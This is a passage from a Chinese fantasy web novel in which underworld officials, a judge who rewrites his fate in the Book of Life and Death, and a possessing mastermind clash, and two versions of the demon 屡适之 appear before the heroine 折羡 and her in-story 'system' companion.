花瑶猛地用叶茎抓住了谢必安挽手铐的那只手,“大人,为何是残魂?”
谢必安的手铐是乃魂灵最为惧怕的灵器,花瑶刚碰上便被灼伤。
谢必安将她推开,语气里带了点疏离:“不该过问的不要问。”
范无赦拉扯着他的袖子:“师兄,这恐怕……”
“不想受罚,那就老实听我的。”
范无赦松了手,不再多话。
待崔瑶珪的时间一到去投胎,阁主回来知道了这一切,罚了他们。
至少没直接弄死他们,不是吗?谢必安想。
没过多久,花瑶知道了为什么要带着崔瑶珪的残魂。
因为她再次见到的崔瑶珪,成了一个单纯痴傻又依旧怀着至纯之心的稚子。
甚至会因为坏人的一句夸赞,就忘了以前受过的伤。
用着人类的身体,她无法给崔瑶珪提供任何帮助,尽管谢必安和范无赦给了崔瑶珪一具很好的灵体,也终究等不到他修炼起来。
反而带来了更大的伤害。
花瑶恨他们,又感谢他们给了她能成为崔瑶珪妹妹的机会。
所以,她愿意用她所有的能力,换崔瑶珪一个幸福稳定的未来。
谁都没想到,谢必安精心策划的一切,都抵不过命运的捉弄。
他本是为了范无赦犯的错而给崔瑶珪这一个机会,没真的把他当作判官。
崔钰站在大殿之上,手指划过生死簿,那薄而精小的簿子就这样被打开了。
下一瞬,天命笔在他手里动了起来。
崔钰,一个刚上任的判官,拿到生死簿的第一时间,是将那上面关于他的命格轨迹,调回到了他第一世没死之前。
时间在倒退,所有与之相关的星线都被改动。
刚从沧君山赶回来的松倏第二次体会了一把最糟糕的局面。
松倏:……
知道他俩把别人命格搅得乱七八糟时没把他们打死已经算他仁慈,如今倒好,找来了个活阎王,这不比他的身份更高?
松倏赶紧封了大殿,可倒好赶得及,没把在场的几个人拉回时光倒流的因缘线中,但因着个人的命格牵动其他,尽管崔钰被他关入了十八层地狱,也依旧阻挡不住混乱的因果。
所谓牵一发而动全身,加上崔钰本身的力量就足以影响一个小国的安稳,这样一牵扯,人界国事动荡,松倏把谢必安和范无赦打发去人界赎罪。
他则将生死簿上关于崔瑶珪的生平事迹都过了一遍,这才着手开始处理相关人物的星线。
崔瑶珪消失,有关他曾经在人界结的善缘都不复存在,没了他的这条线,人界将会因为流民造反,内斗不停,各大势力暗中勾结,最后四分五裂。
再过上百来年,才会在三大贵族的和平签约下完成后来的三国制衡的局面。
若没有这一遭,那么在百年后的人界,也将沦为崔钰掌控的傀儡。
在原定的因缘线中,崔瑶珪一生行善,为国家付出了所有,鞠躬尽瘁。最后因他多年前在傀城种的灯烛可得机缘,有机会成为人界秩序执掌者。
然他未曾想到,在他走后,有人对那块地方动了手脚,崔瑶珪也死在了那里。
他派出范无赦和谢必安去那里,本意是将崔瑶珪得魂灵带回,让他再去经历一世,方可直接
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得道。
花瑶在有了神智后,守着崔瑶珪一世便报了恩,原本可以回到妖界潜心修炼。
这所有的一切,本都算得上圆满。
阴差阳错就在,范无赦带回来的魂灵有损。
松倏那时候正在沧君山做一件很重要的事,感应到摘星术数图的变化,千里传信给了侍者让她转交给他二人,那簿子若直接给了崔瑶珪,便能在一开始就锁定判官的人选,这也算是为范无赦闯下的祸做了个保障。
他怎么也没想到,这两个自作聪明的家伙,非但没有给崔瑶珪,还去设计了一系列让人头大的计划。
现如今崔钰改了他的星线,将时光调回到他的前世,在那里,完全没有了花瑶的影子。
崔钰全身上下都被拴了带铁刺的链子,而这时候,生死簿和天命笔还依旧归他掌控,本应该在人界的谢必安出现在了狱内。
“崔钰,做得真好。”他像是被人操控着身体,僵硬的不和谐的嘴角挂着一缕笑,那惨白的脸上多了两道指印,“现在,把生死簿和天命笔给我吧。给我,我就把花瑶救回来。”
崔钰抬起头,轻哼了一声:“你故意让范无赦在收我魂的时候出错,后来又暗示他怎么做,还让我去当了一世傻子才把我其他的魂还回来,后又顺水推舟让我改了我的命格说是这样能救花瑶,你到底要做什么?”
谢必安一动身,那手铐便在手腕中发出碰撞,他的声音与以往大不相同,眼神也不似从前那般精明,而是多了份算计。
“当然是为了帮帮我的孩子们啊。”他道。
“他们总是忤逆吾,还试图去证明吾有罪,吾的判断和法则从来都没错!”那完全不属于谢必安的气势和威压在整个牢狱中蔓延,压得崔钰喘不过气。
“所以吾选了些新的孩子,培养他们为吾所用。”他的手掌收拢,从崔钰那里夺过生死簿和天命笔,万分爱惜的擦了擦,“这可是吾最伟大的作品之一。”
“当然,你也是吾的好孩子,不过是一个花妖罢了。”
谢必安出了十八层地狱,刚回到拘魂殿,范无赦焦急地走了过来,“师兄。”
“你怎么突然就不见了。”他正要去拍谢必安的肩膀,却被谢必安的样子吓了一跳,“你……”
一刹那,谢必安眼底的神色一转,恢复了清明,“我、如何?”
“阁主让我们去人界做事,你突然离开,让他知道我们俩怕是吃不了兜着走。”
“嗯。”谢必安有些心不在焉地道:“杀了崔钰。”
生死簿自他手中展开。
“他捅得篓子,自然是他自己受这一切,我们直接把他这个人写消失不就好了?”
范无赦难以置信地看着谢必安,有些不理解:“师兄,你到底怎么了?”
“你还不明白吗?我们不过是阁主拿来当挡箭牌的,他要做的事从来没跟我们说过。如今犯了这么大的罪也不过是让我们去人界赎罪,为什么?”
“为、为什么?”
“因为他杀不了我们。”
33. 真假适之
谢必安嘴角动了动,有些无语。
他看着挡在松倏面前的折羡和桑越,拦住想动手的范无赦,扔出手里的武器,就要拉着范无赦走。
只要熬到崔钰死,他们自会得救。
怕就怕,这个世界里根本没有崔钰。
谢必安猛地顿住,对啊,这个世界里,没有崔钰!这个世界怎么可能会有崔钰。
别人不知道这背后的真相,他难道还不知道吗,那是那个人操控他的身体亲自将崔钰从生死簿上除名的。
就算这生死簿有再次写命格的能力,那也得那个人在才能做到。
所以他今天,必定会死在这里。
幸好,只是他。
谢必安松了抓住范无赦手腕的那只手,“阁主,让无赦先去把崔钰带过来吧。”
松倏身体还未恢复,正倚到了一个软榻上,手里流出一丝灵气,抚摸着枕在腿上的小东西。
眨眼的功夫,淮衿醒了过来,小小的松鼠手里还捧着一颗大松果,那是折羡找桑越从他的储灵袋里要来的。
“行啊。”他笑着说。
接着范无赦被一股大力带离了拘魂殿。
“必安啊,只要你说出是谁要杀崔钰,又是谁要你做的这些,我们也不会要你的命的。”其实没有人要杀他,松倏的身份注定了他不能随意对谁下手。
他能做的是在影响更小的时候拨乱反正。
至于桑越,这倒是个脾气不太好的。
不过,有折羡在这里,也不用过多担心,刚这样想完,折羡手里的匕首已经抵到了谢必安的脖颈,“对。不是威胁,就事论事。”
“阁主不是早就算到了么,就算机关算尽知道了一切也什么都做不了,阁主也很痛苦吧。”谢必安把脖子往前靠了靠,皮肤碰到匕首的那一刻,血珠也顺势而滴下。
玉牌所化形的任何利器,都能直取生灵,最大化损坏体魄。
折羡转了匕首,刀柄对着他,“如果求死能把你们说的那个神秘人逼出来……”匕首再次转动,捅到了谢必安的心脏处。
“你……”谢必安捂着伤口,没想到折羡的速度这么快,松倏也停止了投喂,把目光投向了上方。
折羡拍开谢必安,扯着桑越退到了松倏旁边。
房顶上传来几声响动,啪啦、咚的一下,几个半人状态的灵妖砸了下来。
另一处房梁上,抱意和久颜也跳了下来,把灵妖们拖走了。
原本在谢必安体内蠢蠢欲动的那人顿时没了影子。
感受到自己体魄急速下降的谢必安用灵气将自己的魂灵锁了起来,他后退着远离人群。
“呃……”
“这是?”折羡看到抱意等人进了殿内,才询问道。
久颜手放在剑上,“先前在环境里出现的两个模样相同的人,把我们从牢里放出来了。”
“不过,他们两个很奇怪,打着打着就不见了。”
折羡:“牢里?你们在牢里?可曾见到过什么别的人?”
也许是想到了什么,抱意眉头都快拧成麻花了,“除了我们,没见过别的人。但我们都才醒不久,醒了就被那个人救了。”
“范无赦……”折羡才说了一个名字,松倏就打断了她,“他离开了冥界。”
“本身他就跟我们情况不同,他原就是生死簿忆里的一部分,按照轨迹,这时候他跟谢必安都会消失。”
“也就是说,崔钰已经没了?”准备试探崔钰是不是任务对象的折羡反应过来。
“崔钰只是官称,从始至终都是淮衿。”松倏说这话时神情很冷,也很果决,他补充了一句,“如果你说的是崔瑶珪的话,因果如此,至少你我还记得他。”
桑越突然握住了折羡的手,“别听他瞎说,我们很多人都记得,他只是不在这个世界了。”
折羡没注意到桑越突然的紧张,只是在他说出那句‘不在这个世界’的话时多看了他一眼,难道桑越也知道时空穿越大法?
“你先松手。”
桑越握着她手的力气小了一些,“你的灵气不够用了吧,我给你传点。”
“我们要不要先出去再做别的打算?”抱意建议道。
这里的空间太过诡异,没醒之前,她都没意识到自己在做梦,甚至还沉迷其中,这要是再次睡过去,指不定就醒不过来了。
有同样感受的还有久颜,只不过久颜这次醒来更加沉默寡言了,看折羡和桑越的眼神也有些不对劲。
甚至几次对着松倏欲言又止。
还是一旁的松倏察觉到他的异常,在折羡同抱意说话时,主动凑过去问他:“三皇子,你的表情告诉我,你有大惑要解决,说吧,梦到什么了?”
久颜依旧握着剑,指腹在剑柄处的字上抚过,他紧抿着唇,刚要有新一步的动作,松倏怀里的松鼠动了,感应到什么,它一个翻身,跃到了松倏头上。
“吱。”
拘魂殿隐形的结界被来人抬手破解,他和另一头的那人站着东西位,同样的表情和动作。
若如仔细看的话,会发现,这其中一人的身形,要比另一人虚透一些。
“吱吱。”小松鼠一个跳扑,蹦到了桑越的肩膀上。
“你怎的一直区别对待……”松倏半抱怨着嘴角还挂起了笑,丝毫没觉得来了人有什么危险。
接着一个缩小版的淮衿就坐在了桑越肩头,祂戳了戳桑越,“他们是一个人。你能别杀他们吗?”
“我为何要杀他们?”桑越到现在还没正眼瞧过这两人的模样。
“因为他是你们魔界的人。”还因为,他做了很多坏事。
桑越更懒得管了,“那抓回去让他们处理好了,我一般不干这种事的。”
“你自己看看就知道了。”
那头的折羡也恰好朝其中一个人看去,刚有所感,便接到了系统三三的提示:“宿主,他也是任务对象。”
“?”
同款的问号延续到了桑越脑门上,他轻呼出了一口气,“所以,你使这么大劲就是为了给屡适之造一个身体?”
“我当时并不知道他是适之兄啊。”那会儿的松倏是为了画出一个能破解结界的人出来,而他能想到的人也只有屡适之,自然是照着屡适之画的,这谁知道来人也是屡适之。
先前那无責不是说屡适之死了吗?
系统三三介绍道:“屡适之,魔族人,有传言说他屠杀了魔界里跟鹡鸰一族关系很好的羽鸰族。至于原因,目前还不知。”
“而且,他的名气跟你所在的这具身体的原主人不相上下,不说臭名昭著,至少六界中有四界想杀他。剩下那两界,人摸不到他。而神早就没了。”
折羡:“……”这也算名气?
“有没有更有用的信息?”
系统三三:“抱歉宿主。”
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“以后需要抱歉的事别做。”
两个屡适之都跳了下来,互相瞪着对方。
更为虚透的屡适之离近了看才发现他的面色也不怎么好,瞧着年轻赋有少年感的模样,眼尾处的黑色花纹一直蔓延到了太阳穴,不经意间,捋了捋额前的碎发,折羡便看到了他手臂上同样的花纹。
“那个花纹,不似你们之前说的纹案。”
桑越听到折羡的话,在两个屡适之之间来回看了一眼,另一个很明显没有这些诡谲的花纹,“那个干净的屡适之是你画的?”
“不是。”干净的‘屡适之’接了话头,“越休大人,别来无恙。”
另一个屡适之不屑地哼了一声:“你这句话说出口,无异于在告诉所有人,你就是那个假冒的。”
干净的‘屡适之’眉心蹙起,认真询问道:“为什么?”
虚透的屡适之扬眉假笑,认真回答他:“因为他画的你是万年前的我。”
“少吹牛了,就你还活万年。”松倏依旧坐在那里,依旧不留情面地破坏谈话。
桑越也微皱起了眉,越休?为什么要这么称呼他,这是第二次听到这两个字了。
万年,在场的人都听到了这几个字眼,甚至都不约而同地陷入了诡异的沉默。
只有松倏那一句看似调侃的话,让他们不同程度的松了口气。
久颜更是松懈地张开了用力握着剑的手。
抱意也松了手里的杯子,呲的一声,杯子碎成了渣。
系统三三将他们所有的小动作都在折羡脑海里放大放慢重新播了一遍。
折羡:“你想表达什么。”
系统三三:“这可能是关键信息。”
折羡:“行。”
一趟生死簿之旅把每个人的秘密都翻新了炒出来继续恐吓。
也不知这背后之人到底要做什么。
因为系统三三的行为和提醒,导致折羡这次真的想多了,生死簿的拉扯和回忆纯属是因为,淮衿误打误撞把先前降级的生死簿补了回来。
但由于稳定性不够强,便把一部分没有参与崔钰那段因缘的人聚在了一起,让他们做了一场关于过去的梦。
而折羡之所以没跟他们一起,一则是她的身体特殊性导致,二便是桑越过来带走了她。
虚透的屡适之还想说点什么,在跟松倏对上视线时又闭了嘴,好一会儿才憋出一句:“唐突了。”
礼貌,又单纯的发言。
干净的‘屡适之’依旧目光灼灼地看着他,“我真的觉得我们亲切。”
“要不要试试魂灵点验?”他有些兴奋地问道。
“滚。”一个人能不亲切吗?他万年前未免有些过于单纯了。
连说话都直白又愚蠢。
所有的情绪全写在脸上。
折羡也好像读出了他的心声,接着话道:“你现在好像也是。”
松倏:“…哈哈哈哈哈哈。”
不远处的桑越给松倏传去了音:“我所有的记忆都在你那吗?其他的记忆什么时候能找到?”
“在也不在。”
“说人话。”
“先前的记忆是你求我帮你取走的,但存放的地方我并不知晓。”
松倏那边长久没回话,过了一阵,他才道:“当时你让我将记忆存放在那块残缺的封灵御内,后来你拿走了,再之后的,我便不知了。”